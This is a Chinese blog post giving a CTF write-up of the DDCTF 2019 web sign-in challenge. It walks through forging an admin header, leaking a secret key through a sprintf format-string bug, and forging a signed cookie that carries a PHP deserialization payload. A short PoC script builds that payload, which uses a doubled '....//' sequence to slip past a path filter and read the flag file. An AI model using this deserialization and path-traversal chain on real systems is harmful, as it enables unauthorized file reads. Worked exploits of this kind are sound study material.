美文网首页
Web签到题 WriteUp

Web签到题 WriteUp

作者: IvenWings | 来源:发表于2019-08-09 15:29 被阅读0次

url: http://117.51.158.44/index.php

打开界面,提示:


1.png

按f12,查看Request包,发现存在Auth().php,还有didictf_username,我们抓包或者设置请求头,令didictf_username:admin,即可进入下一个界面:


2.png

出现了一个url,访问url,得到代码:

url: app/Application.php
Class Application {
   var $path = '';
   public function response($data, $errMsg = 'success') {
   $ret = ['errMsg' => $errMsg,
   'data' => $data];
   $ret = json_encode($ret);
   header('Content-type: application/json');
   echo $ret;
 }
public function auth() {
   $DIDICTF_ADMIN = 'admin';
   if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
       $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
       return TRUE;
   }else{
       $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
   exit();
   }
 }
private function sanitizepath($path) {
   $path = trim($path);
   $path=str_replace('../','',$path);
   $path=str_replace('..\\','',$path);
   return $path;
}
public function __destruct() {
   if(empty($this->path)) {
       exit();
   }else{
       $path = $this->sanitizepath($this->path);
       if(strlen($path) !== 18) {
           exit();
       }
       $this->response($data=file_get_contents($path),'Congratulations');
   }
   exit();
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
 //key建议为8位字符串
   var $eancrykey                    = '';
   var $cookie_expiration            = 7200;
   var $cookie_name                  = 'ddctf_id';
   var $cookie_path                  = '';
   var $cookie_domain                = '';
   var $cookie_secure                = FALSE;
   var $activity                     = "DiDiCTF";
public function index() {
    if(parent::auth()) {
        $this->get_key();
        if($this->session_read()) {
        $data = 'DiDI Welcome you %s';
        $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
        parent::response($data,'sucess');
    }else{
        $this->session_create();
        $data = 'DiDI Welcome you';
        parent::response($data,'sucess');
    }
}
private function get_key() {
    //eancrykey  and flag under the folder
    $this->eancrykey =  file_get_contents('../config/key.txt');
}
public function session_read() {
    if(empty($_COOKIE)) {                               //判断cookie是否为空
        return FALSE;
    }
    $session = $_COOKIE[$this->cookie_name];    // session取cookie里的cookie_name的值
    if(!isset($session)) {
        parent::response("session not found",'error');
        return FALSE;
    }
    $hash = substr($session,strlen($session)-32);       //hash取session的后32位
    $session = substr($session,0,strlen($session)-32);  //session取session的其余位
    if($hash !== md5($this->eancrykey.$session)) {      //hash 要等于 eancrykey + session 的md5值
        parent::response("the cookie data not match",'error');
        return FALSE;
    }
    $session = unserialize($session); 
    if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
        return FALSE;
    }   //session反序列化后是数组,且session_id, ip_address, user_agent不得为空
    if(!empty($_POST["nickname"])) {    //post的nickname不得为空 
        $arr = array($_POST["nickname"],$this->eancrykey);
        $data = "Welcome my friend %s";
        foreach ($arr as $k => $v) {
            $data = sprintf($data,$v);
        }
        parent::response($data,"Welcome");
     }
    if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
        parent::response('the ip addree not match'.'error');
        return FALSE;
    }
    if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
        parent::response('the user agent not match','error');
        return FALSE;
    }
    return TRUE;
}
private function session_create() {
    $sessionid = '';
    while(strlen($sessionid) < 32) {
        $sessionid .= mt_rand(0,mt_getrandmax());
    }
    $userdata = array(
        'session_id' => md5(uniqid($sessionid,TRUE)),
        'ip_address' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'user_data' => '',
    );
    $cookiedata = serialize($userdata);
    $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    $expire = $this->cookie_expiration + time();
    setcookie(
        $this->cookie_name,
        $cookiedata,
        $expire,
        $this->cookie_path,
        $this->cookie_domain,
        $this->cookie_secure
    );
  }
}
$ddctf = new Session();
$ddctf->index();

接下来的工作就是代码审计了,通过第一段代码我们可以知道的点有:

private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}
//这里有一个替换的函数,用来替换变量$path里的'../'和'..\'字段,猜测是个过滤,之后会用到</pre>

其次是析构函数

$path = $this->sanitizepath($this->path);
    if(strlen($path) !== 18) {
         exit();
    }
    $this->response($data=file_get_contents($path),'Congratulations');
    //全部代码就这一个读文件的,并且$path长度一定要位18位
    //***file_get_contents()函数可能存在任意文件读取漏洞***
    //这里直接读取就可以

这些后面可能会有用处,先访问一下网页:


3.png

然后来看代码

$ddctf = new Session();
$ddctf->index();
//我们把代码拉到底可以看到先new了一个Session类,然后执行index()函数</pre>

我们先来阅读index()函数:

public function index(){
    if(parent::auth()) {
        $this->get_key();
        if($this->session_read()) {
            $data = 'DiDI Welcome you %s';
            $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
            parent::response($data,'sucess');
        }else{
            $this->session_create();
            $data = 'DiDI Welcome you';
            parent::response($data,'sucess');
        }
    }
}
//第一步首先是认证,这个我们已经绕过了,接下来就是get_key()
private function get_key() {
    //eancrykey  and flag under the folder
    $this->eancrykey =  file_get_contents('../config/key.txt');
}

并且这里提示了,key的文件路径和flag是一样的,也就是在同一个文件夹config下,我们接着看最重要的两个函数session_read()session_create()session_create 会对一个数组的类型的数据进行序列化并签名, session_read会根据签名验证序列化的数据是否被篡改,如果没有被篡改那么就进行反序列化。显然这是一道考察反序列化知识点的题目,可利用的魔术方法是Application.php 中的 destruct ,这个类对应的对象在析构的时候会去文件内容并返回。

private function session_create() {
    $sessionid = '';
    while(strlen($sessionid) < 32) {
        $sessionid .= mt_rand(0,mt_getrandmax());
    }
    $userdata = array(
        'session_id' => md5(uniqid($sessionid,TRUE)),  //设置session_id
        'ip_address' => $_SERVER['REMOTE_ADDR'],
        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
        'user_data' => '',
    );
    $cookiedata = serialize($userdata);//反序列化变量$userdata
    $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
    //md5加盐
    $expire = $this->cookie_expiration + time();
    setcookie(
        $this->cookie_name,
        $cookiedata,
        $expire,
        $this->cookie_path,
        $this->cookie_domain,
        $this->cookie_secure
    );
}

先看create函数,大概意思就是说没有设置session_id的时候我们就创建一个,然后我们抓包把这个参数记下来,然后设置在请求头里。


4.png

可以看到这个是反序列化+一段md5,我们设置在cookie里访问,可以看到网页输出了一段内容,我们定位代码大概运行到了index()里进行session_read()验证通过后的输出


5.png

但是我们想要在析构函数里面读出flag文件的内容,就要给path赋值,所以我们就要给反序列化那里加个path变量,但是这样就改变了反序列化加盐的MD5值,因此我们要知道$eancrykey的值,这里有一个考点,就是sprintf,可以看到此处有输出数组,但是关键此处输出只能输出nickname的值,因为nickname的值把%s占位符替代之后,循环到$this->eancrykey时候,就无法输出$this->eancrykey直接传入%s作为nickname变量的值,这样就能够将遍历到$this->eancrykey的值拼接到data并通过父类response()函数输出。拿到this->eancrykey的值就可以随便构造Cookie。

知识点:
当输入一个nickname时,会输出Welcome my friend $nickname,但因使用sprintf函数,存在格式化字符串操作,所以输入%s会输出config/key.txt,注意修改content-type。之后可以使用这个key伪造ddctf_id,格式为key+ser+md5(key+ser),并且Session.php包含了appication.php所以可以直接伪造application

接着我们post出一个参数nickname=iven%s

6.png

我们可以看到盐值出来了,我们这下就可以直接构造cookie了,直接写php脚本:

<?php
    class Application{
        var $path = '....//config/flag.txt'; //因为替换了../,所以我们这里进行双写绕过,不足18字符部分,使用.和/补充
    }
    $poc = new Application();
    $enc = 'EzblrbNS';
    $data = serialize($poc);
    echo $data."\n"; // O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";}
    echo urlencode($data)."\n";
    echo md5($enc.$data);
?>

不过此处要注意的是Content-Type:字段值是否为:application/x-www-form-urlencoded,在cookie里也看见经过了url编码,为了以防万一我们也编码一下,将cookie设置好之后再访问,得到flag。

7.png

DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

考点:

1\. 修改请求头为admin
2\. 路径path的绕过,`../`和`..\`被过滤掉,采用双写..././等绕过
3\. 定位函数file_get_contents($path),是php常见的漏洞函数,需加注意,这题用来读flag
4\. sprintf(), 存在格式化字符串操作,nickname的值把%s占位符替代之后,循环到`$this->eancrykey`时候,就无法输出`$this->eancrykey`直接传入`%s`作为nickname变量的值<

相关文章

  • Web签到题 WriteUp

    url: http://117.51.158.44/index.php 打开界面,提示: 按f12,查看Reque...

  • 南邮CTF-WEB-writeup

    2018/3/16 17:34:51 WEB题 1.签到题 题目:key在哪里? writeup:查看源代码即可获...

  • CGCTF Web-Writeup

    抽空整理了一下CGCTF平台的Web题的writeup。 0x01 签到题(题目地址:http://chinal...

  • writeup

    南京邮电大学网络攻防训练平台 web writeup 签到题: 查看源代码 就可以看到 flag:nctf{fla...

  • BugkuCTF—杂项MISC—WriteUp(持续更新)

    BugkuCTF练习平台-杂项MISC-WriteUp 1 .签到题 此处省略----------(有IQ就会做)...

  • 南京邮电ctf-CG-CTF—WEB—WriteUp(持续更新)

    南京邮电ctf-CG-CTF—WEB—WriteUp(持续更新) 南京邮电练习题-CTF练习题 web篇 1.签到...

  • web签到题

    解题步骤 先打开f12观察,观察到有个js/index.js,进入发现是一个认证用的js 查看代码发现他们发送一个...

  • [鹏城杯线上] web部分writeup

    [鹏城杯] web部分writeup 这次鹏城杯是真的对web不友好。 shadow 这题出的还是挺好的58.20...

  • HCTF两道web题目

    HCTF WEB wp 官方Writeup: [https://bysec.io/hctf/writeup.htm...

  • [NYSEC]——WP

    Web: 1.签到题——10' method:复制粘贴 2.签到题2——30' method: 进行修改即可,最大...

网友评论

      本文标题:Web签到题 WriteUp

      本文链接:https://www.haomeiwen.com/subject/uxlhjctx.html